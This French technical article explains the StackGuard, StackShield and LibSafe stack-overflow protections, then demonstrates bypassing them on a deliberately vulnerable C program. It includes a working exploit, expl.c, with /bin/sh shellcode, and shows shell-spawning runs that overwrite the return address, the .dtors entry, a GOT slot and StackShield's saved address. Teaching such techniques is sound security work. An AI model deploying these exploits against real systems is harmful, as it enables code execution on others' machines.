Une autre forme de protection est fourni au niveau utilisateur, soit par des modifications du compilateur (stackguard/stackshield), soit au niveau des bibliothèques dynamiques utilisées par les programmes (libsafe). Cet article présente ces protections.
http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/
La pile est normalement composée telle que présentée en figure 1
Dans ce type de configuration, l'attaquant est obligé d'écraser en premier le pointeur de la frame locale (%ebp) pour écraser l'adresse de retour de la fonction (%eip). C'est ici qu'intervient Stackguard. En effet, pour détecter la tentative de débordement de tampons, Stackguard place une valeur appelée "canary" entre le registre %ebp et le registre %eip. Dans ce cas, l'attaquant écrase le registre %ebp, puis en voulant écraser le registre %eip, il modifie le canary. La tentative de débordement de tampon est alors détectée.
Par comparaison avec la figure 1, la figure 2 présente l'état de la pile lorsque le programme est compilé avec Stackguard.
Pour éviter une usurpation du canary, Stackguard utilise les trois méthodes suivantes pour le générer :
0x00000000
. Dans ce cas, il est
difficile pour l'attaquant d'usurper le canary en introduisant
un caractère null (0x00
) dans une chaîne de
caractères car ce dernier annonce la fin d'une chaîne de
caractères.
0x00
), CR
(0x0d
), LF (0x0a
) et EOF
(0xff
) permettant de stopper toutes les opérations
de chaînes de caractères.
Cette protection n'est malheureusement pas infaillible. Il existe en effet plusieurs techniques permettant de la contourner dans certains conditions, comme nous le verrons par la suite.
Stackshield (http://www.angelfire.com/sk/stackshield/) n'empêche pas la modification de l'adresse de retour
présente dans la pile (%eip). Cependant, celle-ci est copiée dès le
début de la fonction dans une région inaccessible en écriture (le
segment DATA) puisque ce dernier se trouve loin en dessous de la pile.
Au moment de quitter la fonction (i.e. juste avant le
return
), Stackshield récupère l'adresse sauvegardée et la
compare à celle présente dans la pile. Si elle a été modifiée,
StackShield arrête l'exécution du programme ou essaye de la continuer
en ignorant l'attaque du programme vulnérable (risque de signal 11).
Nous verrons par la suite comment, dans certains cas, il est possible
de modifier cette adresse.
LibSafe est une bibliothèque sous licence GNU Lesser General Public License qui redéfinit les fonctions sensibles de la librairie C standard. Elle a été développée par le laboratoire de recherche Avaya, issu des Bell Labs.
Initialement, LibSafe protégeait des débordements de pile et depuis la version 2, elle intègre aussi une protection contre les bogues de format.
Les fonctions qui conduisent potentiellement à des débordements de
buffer sont bien connues. Citons par exemple strcpy()
,
strcat()
, sprintf()
,
vsprintf()
, getwd()
, gets()
,
realpath()
...
Toutes ces fonctions sont redéfinies par LibSafe, ainsi que la
fonction memcpy()
. En effet, l'option d'optimisation -O
de gcc remplace dans certains cas un appel à strcpy()
par
plusieurs memcpy()
suivi d'un strcpy()
.
D'autres fonctions présentent un risque face aux bogue de format,
comme fscanf()
, scanf()
,
sscanf()
, printf()
, syslog()
...
Comme les familles des fonctions *printf()
et
*scanf()
s'appuient sur les fonctions
_IO_vfprintf()
et _IO_vfscanf
, LibSafe
redéfinit ces deux fonctions.
#include <stdio.h> #include <stdlib.h> #include <string.h> char bigbuffer[600]; int main() { char buffer[200]; memset(bigbuffer, 'A', sizeof(bigbuffer)-1); bigbuffer[sizeof(bigbuffer)-1] = 0; strcpy(buffer,bigbuffer); return 0; }
La fonction strcpy()
redéfinie par LibSafe récupère
d'abord la taille maximale de la destination :
if ((max_size = _libsafe_stackVariableP(dest)) == 0) { LOG(5, "strcpy(<heap var> , <src>)\n"); return real_strcpy(dest, src); } LOG(4, "strcpy(<stack var> , <src>) stack limit=%d)\n", max_size);
La fonction _libsafe_stackVariableP()
recherche le
pointeur de frame %ebp
et calcule l'espace entre celui-ci
le buffer destination. On obtient ainsi la taille maximale disponible
avant d'écraser le pointeur de frame et l'adresse de retour.
Voici le code assembleur intermédiaire du programme précédent :
$ gcc -o essai essai.c -save-temps $ cat essai.s .file "essai.c" [...] main: pushl %ebp movl %esp, %ebp subl $216, %esp
Le registre %ebp
est initialisé avec l'adresse de la
pile. Le compilateur alloue 216 octets pour la variable
buffer
, ce qui est plus que nécessaire (les 200 de
buffer
).
[...] pushl $bigbuffer leal -216(%ebp), %eax pushl %eax call strcpy
Les paramètres sont placés dans la pile : le buffer source
bigbuffer
puis le buffer destination (pointé par
-216(%ebp)
). Dans le cas où le buffer destination est
bien dans la pile, LibSafe n'a plus qu'à comparer la taille du buffer
source à celle obtenue précédemment :
if ((len = strnlen(src, max_size)) == max_size) _libsafe_die("Overflow caused by strcpy()"); real_memcpy(dest, src, len + 1);
Signalons plusieurs limitations de LibSafe :
gcc -fomit-frame-pointer
), LibSafe ne peut pas calculer la
distance entre le pointeur et l'adresse de retour présente dans la
pile ;/* demo.c */ int main(int argc, char **argv) { char buf[10]; strcpy(buf, argv[1]); /* Vulnérabilité */ return 0; }
Dans les deux exemples ci-dessous, guardgcc et shieldgcc sont des cpompilateurs spéciaux ajoutant aux programmes compilés les protections présentées ci-dessus.
$ guardgcc -o demo demo.c $ ./demo `perl -e 'print "A"x100'` Canary 720653 = aff0d died in procedure main. Illegal instruction
Le canary est écrasé et le débordement détecté.
$ shieldgcc -o demo demo.c $ ./demo `perl -e 'print "A"x100'` $
Dans ce mode de compilation, il est impossible de remplacer l'adresse de retour d'une fonction. Le programme sort normalement sans provoquer de "signal 11" (segmentation violation).
$ export LD_PRELOAD=/home/cb/libsafe/libsafe.so $ gcc -o demo demo.c $ ./demo `perl -e 'print "A"x100'` Detected an attempt to write across stack boundary. Terminating /home/cb/libsafe-2.0-11/src/demo. uid=1000 euid=1000 pid=18057 Call stack: 0x40015341 0x4001543e 0x80483c7 0x400372e2 Overflow caused by strcpy() Killed $
Ici, Libsafe détecte bien la tentative de débordement. Le programme vulnérable est immédiatement arrêté.
Précisons d'emblée que ces protections sont efficaces et ne sont contournables que dans certaines situations, comme nous allons le voir avec le programme suivant :
/* vul.c */ int vul(char *argument1, char *argument2) { int i; char *msg; char buffer[64]; msg = buffer; printf ("msg=%p\t -- Avant le premier strcpy\n", msg); /* [1] */ strcpy(msg, argument1); printf ("msg=%p\t -- Après le premier strcpy\n", msg); /* [2] */ strncpy(msg, argument2, 16); return 0; } int main(int argc, char **argv) { if (argc != 3) { printf("Usage: %s arg1 arg2\n", argv[0]); exit(0); } vul(argv[1], argv[2]); printf ("Exécution terminée.\n"); }
La vulnérabilité se situe à la ligne [1]. Le premier argument
passé à la fonction vul()
est argv[1]
,
devenant par la suite argument1
. Le pointeur
msg
est égal à buffer
, ce dernier pouvant
contenir 64 éléments. Lors de l'exécution de la fonction
strcpy()
à la ligne [1], argument1
est copié
intégralement dans msg
. Comme msg
pointe sur
le premier élément de buffer
, si argument1
contient plus de 64 éléments (c'est-à-dire 64 octets), un débordement
de tampon modifie alors l'exécution du programme vulnérable.
$ gcc -ggdb -o vul vul.c $ ./vul AAAA AAAA msg=0xbffff8dc -- Avant le premier strcpy msg=0xbffff8dc -- Après le premier strcpy Exécution terminée. $
Dans cette première démonstration, tout se passe normalement. Regardons maintenant le résultat obtenu en remplissant le premier argument avec 68 éléments soit 4 éléments de plus que prévu.
$ gcc -o vul vul.c $ ./vul `perl -e 'print "A"x68'` AAAA msg=0xbffff89c -- Avant le premier strcpy msg=0x41414141 -- Après le premier strcpy Segmentation fault (core dumped) $
Ici, comme buffer
ne peut normalement contenir que 64
octets, les 4 'A' de trop sont placés dans la variable
msg
(qui contenait préalablement l'adresse d'un bloc de
64 octets situé dans le tas). Celle-ci pointe maintenant vers
l'adresse 0x41414141
. Vient ensuite l'exécution de la
fonction strncpy()
à la ligne [2], qui provoque le signal
11. En effet lorsque argument2
est copié à destination de
msg
, le processus tente d'accéder au contenu de la
mémoire pointé par msg
, c'est-à-dire à l'adresse
0x41414141
, ce qui ne constitue pas une adresse
valide : une segmentation violation est signalée.
Regardons maintenant comment contourner la protection mise en
place par Stackguard. Pour cela nous compilons le programme vulnérable
à l'aide de guardgcc
: $ guardgcc -o vul
vul.c
Lors de l'exécution, la pile du programme vulnérable est constituée de la façon suivante :
Pour exploiter le débordement de buffer
, il est
nécessaire d'écraser l'adresse du pointeur msg
avec une
adresse valide. De plus, il est impossible d'écrire sur le registre
%eip sans modifier le canary. Or, dans le programme vulnérable, nous
sommes capable de contrôler l'adresse du pointeur msg
en
profitant du débordement de la variable buffer[64]
(ligne
[1]) ainsi que de son contenu (ligne [2]).
Ainsi, comme nous contrôlons msg
et son contenu, nous
disposons de différentes solutions pour parvenir à nos fins :
.dtors
; Pour commencer, nous devons déterminer à quelle adresse est
stockée la valeur de retour. Pour cela, nous utilisons
gdb
sur le fichier core
généré
précédemment :
$ ./vul `perl -e 'print "A"x68'` AAAA msg=0xbffff89c -- Avant le premier strcpy msg=0x41414141 -- Après le premier strcpy Segmentation fault (core dumped) $ gdb --core core Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA'. Program terminated with signal 11, Segmentation fault. #0 0x4007672f in ?? () (gdb) info f Stack level 0, frame at 0xbffff888: eip = 0x4007672f; saved eip 0x80484b9 called by frame at 0xbffff8e8 Arglist at 0xbffff888, args: Locals at 0xbffff888, Previous frame's sp is 0x0 Saved registers: ebp at 0xbffff888, eip at 0xbffff88c
L'adresse de retour est sauvegardée en
0xbffff88c
. Regardons ce qu'il se passe lorsque nous
modifions msg
pour qu'il pointe vers cette adresse à
l'aide du programme C suivant :
/* expl.c */ #define BUFSIZE 64 #define MSG 4 int main() { char argument1[BUFSIZE + MSG + 1]; char *argument2 = "AAAA"; memset(argument1, 0x41, BUFSIZE); *(long *)&argument1[BUFSIZE] = 0xbffff88c; argument1[BUFSIZE + MSG] = '\0'; execl("./vul", "vul", argument1, argument2, 0); }
Nous avons vu que pour modifier l'adresse du pointeur
msg
, nous devions dépasser de 4 octets
buffer[64]
, soit 68 éléments sans oublier le caractère de
fin de chaîne ('\0') ce qui fait 69 éléments. La variable
argument1
est donc un tableau de type char
de 69 éléments constitué comme suit :
['A' x 64][0xbffff88c][0x0]
La variable argument2
contient quant à elle la chaîne
"AAAA
".
$ guardgcc -o expl expl.c $ ./expl msg=0xbffff89c -- Avant le premier strcpy msg=0xbffff88c -- Après le premier strcpy Segmentation fault (core dumped)
Analysons maintenant le core généré :
$ gdb --core core Core was generated by `vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAøÿ¿ AAAA'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? ()
Après le premier strcpy()
, la variable
msg
pointe sur l'adresse où est stockée la valeur de
retour. Lors de l'exécution de la fonction strncpy()
à la
ligne [2], argument2
est copié dans msg
et
écrase par la même occasion l'adresse de retour avec le contenu de
argument2
(soit "AAAA
" ou encore
0x41414141
). Il ne reste plus qu'à remplacer le contenu
de buffer
par un shellcode et le contenu de
argument2
par l'adresse pointant au début de notre
shellcode :
/* expl.c */ #define BUFSIZE 64 #define MSG 4 #define NOP 0x90 int main(int argc, char **argv) { int p_addr, shellcode_addr; char argument1[BUFSIZE + MSG + 1]; char argument2[5]; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if (argc != 3) { printf("Usage: %s p_addr shellcode_addr\n", argv[0]); exit(0); } p_addr = strtoul(argv[1], &argv[1], 16); shellcode_addr = strtoul(argv[2], &argv[2], 16); memset(argument1, NOP, BUFSIZE); memcpy(argument1 + BUFSIZE - strlen(shellcode), shellcode, strlen(shellcode)); *(long *)&argument1[BUFSIZE] = p_addr; argument1[BUFSIZE + MSG] = '\0'; *(long *)&argument2[0] = shellcode_addr; argument2[4] = '\0'; execl("./vul", "vul", argument1, argument2, 0); }
Notre exploit prend deux arguments :
msg
;$ gcc -o expl expl.c $ ./expl 0xbffff88c 0xbffffa48 msg=0xbffff89c -- Avant le premier strcpy msg=0xbffff88c -- Après le premier strcpy sh-2.04$
Cette technique fonctionne bien mais nécessite l'utilisation de
gdb
pour découvrir l'adresse de retour. L'adresse du
shellcode, 0xbffffa48
est déterminée grâce à
l'utilisation de gdb
. Nous présentons maintenant deux
autres solutions qui reposent sur la commande
objdump
. Gdb est tout de même employé pour découvrir
l'adresse du shellcode, même s'il existe différentes techniques qui
permettent de le localiser précisément en mémoire.
Cette technique est beaucoup plus facile à mettre en oeuvre que la
précédente. En effet, l'objectif est d'ajouter un pointeur dans la
section .dtors
(destructeur), qui contient des pointeurs
sur les fonctions à exécuter à la sortie du programme (i.e.
après la dernière instruction de la fonction main()
du
programme). Comme par hasard, le pointeur que nous ajoutons correspond
à l'adresse du shellcode que nous plaçons au préalable en mémoire. La
commande objdump
nous fournit l'adresse dont nous avons
besoin, à laquelle il faut ajouter 4.
L'exploit précédent convient encore, simplement en modifiant le premier argument :
$ objdump -s -j .dtors ./vul ./vul: file format elf32-i386 Contents of section .dtors: 80496ec ffffffff 00000000 ........ $
La section .dtors
est à l'adresse
0x80496ec
. Nous devons alors écrire à l'adresse
0x80496ec + 4 = 0x80496f0
:
$ ./expl 0x80496f0 0xbffffa48 msg=0xbffff8ac -- Avant le premier strcpy msg=0x80496f0 -- Après le premier strcpy Exécution terminée. sh-2.04$
Nous commençons par déterminer l'adresse de la GOT de la fonction sur laquelle nous voulons écrire :
moudjahidin:~/sec/MISC/Stackguard$ objdump -R ./vul ./vul: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0804971c R_386_GLOB_DAT __gmon_start__ 08049700 R_386_JUMP_SLOT __register_frame_info 08049704 R_386_JUMP_SLOT __deregister_frame_info 08049708 R_386_JUMP_SLOT __libc_start_main 0804970c R_386_JUMP_SLOT printf 08049710 R_386_JUMP_SLOT exit 08049714 R_386_JUMP_SLOT strncpy 08049718 R_386_JUMP_SLOT strcpy
Prenons la GOT de printf()
. En effet, dans
l'exécution de notre programme, printf()
est la seule
fonction réutilisée après le débordement (dans le
main()
). Nous devons donc écrire donc à l'adresse
0x0804970c
, adresse où nous copions l'adresse de notre
shellcode :
$ ./expl 0x804970c 0xbffffa48 msg=0xbffff8ac -- Avant le premier strcpy msg=0x804970c -- Après le premier strcpy sh-2.04$
Les méthodes précédemment vues pour stackguard fonctionnent encore très bien pour contourner Stackshield puisqu'elles n'altèrent pas le registre %eip. Nous n'y reviendrons pas. Mais il existe une autre solution, propre à Stackshield.
Comme nous l'avons constaté dans les détails techniques de
Stackshield, ce dernier ne permet aucune modification du registre
%eip. Néanmoins, la section .data
n'est pas protégée en
écriture. Par conséquent, si on parvient à écrire dans cette section,
à l'endroit précis où Stackshield sauvegarde l'adresse de retour, et à
la remplacer par la valeur de notre choix, stackshield lui-même
replacera l'adresse que nous voulons dans la pile :)
Merci a Frédéric Raynal pour cette idée amusante :-]
Tout d'abord, nous recherchons l'adresse où se trouve la section
.data
, et en particulier la sauvegarde de l'adresse de
retour :
$ objdump -s -j .data vul vul: file format elf32-i386 Contents of section .data: 8049690 00000000 ac960408 00000000 ............ $
L'adresse située en 0x8049690 + 4 = 0x080496ac
, est
celle où stackshield a placé la sauvegarde valide. Nous la remplaçons
donc par l'adresse de notre shellcode :
$ ./expl 0x80496ac 0xbffffa48 msg=0xbffff860 -- Avant le premier strcpy msg=0x80496ac -- Après le premier strcpy Exécution terminée. sh-2.04$
Comme avec les deux autres protection, obtenir le contrôle sur un pointeur et son contenu permet de contourner Libsafe. Les solutions sont les mêmes et l'exploit précédent fonctionne parfaitement dès que les bonnes valeurs lui sont passées. Pour éviter de nous répéter, nous ne détaillerons pas plus et laissons cela en exercice au lecteur ;-)
Les protections du type "Stackguard/Stackshield/Libsafe" permettent de protéger un système contre des débordements de tampons accidentels. Ils ont pour objectif de protéger le registre %eip contre l'écrasement mais la pile reste toujours exécutable. De ce fait, il est possible, dans certains cas uniquement, de contourner ces protections. Ces cas étant rares, ces types de protections constitue de bonnes défenses.
[1] | Éviter les failles de sécurité dès le développement d'une
application : mémoire, pile et fonctions, shellcode F. Raynal, C. Blaess, C. Grenier http://www.linuxfocus.org/Francais/March2001/article183.shtml |
[2] | Bypassing Stackguard and stackshield Kil3r and Bulba Phrack 56 http://phrack.org/issues/56/5.html |